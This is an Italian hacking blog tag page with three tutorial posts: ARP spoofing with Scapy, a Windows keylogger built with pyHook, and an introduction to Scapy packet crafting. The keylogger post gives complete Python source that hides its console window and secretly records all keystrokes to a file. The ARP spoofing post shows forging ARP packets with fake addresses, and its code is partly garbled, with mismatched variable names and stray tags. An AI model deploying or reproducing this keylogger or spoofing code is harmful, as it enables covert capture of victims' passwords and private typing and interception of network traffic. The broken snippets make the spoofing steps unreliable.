Tag: Hacking

06/11/201218/10/2016 da Mr Codematrix

Arp Spoofing con Scapy

Ora vediamo come fare un semplice arp spoofing con il nostro scapy.
Ok lancio la shell di scapy

sudo scapy

1	sudo scapy

Creiamo il nostro pacchetto arp e vediamo le propietà

arp_pack = ARP()
arp_pack.display()

1 2	arp_pack = ARP() arp_pack.display()

Settiamo ip della vittima

arp_pack.pdst="192.168.1.2"
[bash]
Ora mettiamo Mac e Ip di chi li spedisce ovviamente falsi
[bash]
a.hwsrc="11:11:11:11:11:11"
a.psrc="192.168.1.100"

arp_pack.pdst="192.168.1.2"

[bash]

Ora mettiamo Mac e Ip di chi li spedisce ovviamente falsi

[bash]

a.hwsrc="11:11:11:11:11:11"

a.psrc="192.168.1.100"

Il Mac del destinatario lo lasciamo cosi com’è.

a.hwdst="00:00:00:00:00:00"

1	a.hwdst="00:00:00:00:00:00"

Ora spendiamo il pacchetto arp 😀

send(a)

send(a)

29/10/201218/10/2016 da Mr Codematrix

Keylogger & PyHook

Oggi vi farò vedere grazie al utilizzo della libreria pyHook come è possibile creare un Keylogger.

#Importo librerie per la gestione win32 e pyhook per il nostro keylogger
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import thread

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        #Se il file non esiste lo crea al istante
        try:
            f=open('c:\output.txt','r')
            file_data=f.read()
            f.close()
        except:
            f=open('c:\output.txt','w')
            file_data=""
            f.close()
                
    f=open('c:\output.txt','w')
    #Questa var appena digitata dal user
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
        keylogs='\n'
    #Aggiungo al file il nuovo carattere
    file_data += keylogs
    f.write(file_data)
    #Chiudo file
    f.close()


hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

#Importo librerie per la gestione win32 e pyhook per il nostro keylogger

import win32api

import win32console

import win32gui

import pythoncom, pyHook

import thread

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):

if event.Ascii==5:

_exit(1)

if event.Ascii != 0 or 8:

#Se il file non esiste lo crea al istante

try:

f=open('c:\output.txt','r')

file_data=f.read()

f.close()

except:

f=open('c:\output.txt','w')

file_data=""

f.close()

f=open('c:\output.txt','w')

#Questa var appena digitata dal user

keylogs=chr(event.Ascii)

if event.Ascii==13:

keylogs='\n'

#Aggiungo al file il nuovo carattere

file_data += keylogs

f.write(file_data)

#Chiudo file

f.close()

hook_manager = pyHook.HookManager()

hook_manager.KeyDown = OnKeyboardEvent

hook_manager.HookKeyboard()

pythoncom.PumpMessages()

16/10/201218/10/2016 da Mr Codematrix

Introduzione a Scapy

Scapy è uno strumento di manipolazione dei pacchetti per le reti scritto in Python. Con scapy include packet generator, network scanner, network discovery tool e packet sniffer e tanto altro.

Scapy fornisce un’interfaccia Python in libpcap in un modo simile a quella di Wireshark.

Ecco qua le basi sull’ utilizzo di scapy.
Prima cosa per installare Scapy su ubuntu basta la seguente istruzione.

sudo apt-get install python-scapy

1	sudo apt-get install python-scapy

Dopo aver fatto cio lanciamo il nostro scapy

sudo scapy

1	sudo scapy

Ora abbiamo il nostro prompt di scapy digitiamo le seguenti istruzioni:

ip = IP()
ip.display()

1 2	ip = IP() ip.display()

Con queste istruzioni creiamo un oggetto ip e poi con la funziona display vediamo le proprietà.
Ora sostituiamo ip destinatario e visualizziamo i cambiamenti

ip.dst="192.168.198.138"
i.display()

1 2	ip.dst="192.168.198.138" i.display()

Ora creiamo un oggetto ICMP e con la funziona display vediamo le proprietà.

icmp = ICMP()
icmp.display()

1 2	icmp = ICMP() icmp.display()

Ora utilizzeremo questo comando per inviare il pacchetto alla rete e ascoltare un singolo pacchetto in risposta. Si noti che il terzo carattere è il numero 1

sr1 (ip / icmp)

1	sr1 (ip / icmp)

Utilizzare questo comando per inviare un pacchetto IP/ICMP che contiene il dato “Pinco Pallo via icmp”

sr1 (ip / icmp / "Pinco Pallo via icmp")

1	sr1 (ip / icmp / "Pinco Pallo via icmp")

Ora vediamo come mandare un udp la procedura è quasi uguale.
Creiamo oggetto Udp e sempre con la funzione display vediamo le proprietà

udp = UDP()
udp.display()

1 2	udp = UDP() udp.display()

Ora settiamo la porta giusta da mandare al server udp e visualizziamo il cambiamento.

udp.dport = 5555
udp.display()

1 2	udp.dport = 5555 udp.display()

Dopo aver fatto tutto questo lanciamo il comando per inviare il pacchetto UDP.

send(ip/udp/"Pinco Pallo via udp \n")

1	send(ip/udp/"Pinco Pallo via udp \n")

Cookie	Durata	Descrizione
cookielawinfo-checkbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.

CodeMatrix Blog

Il sapere umano appartiene al mondo.

Tag: Hacking

Arp Spoofing con Scapy

Keylogger & PyHook

Introduzione a Scapy

Ads Blocker Detected!!!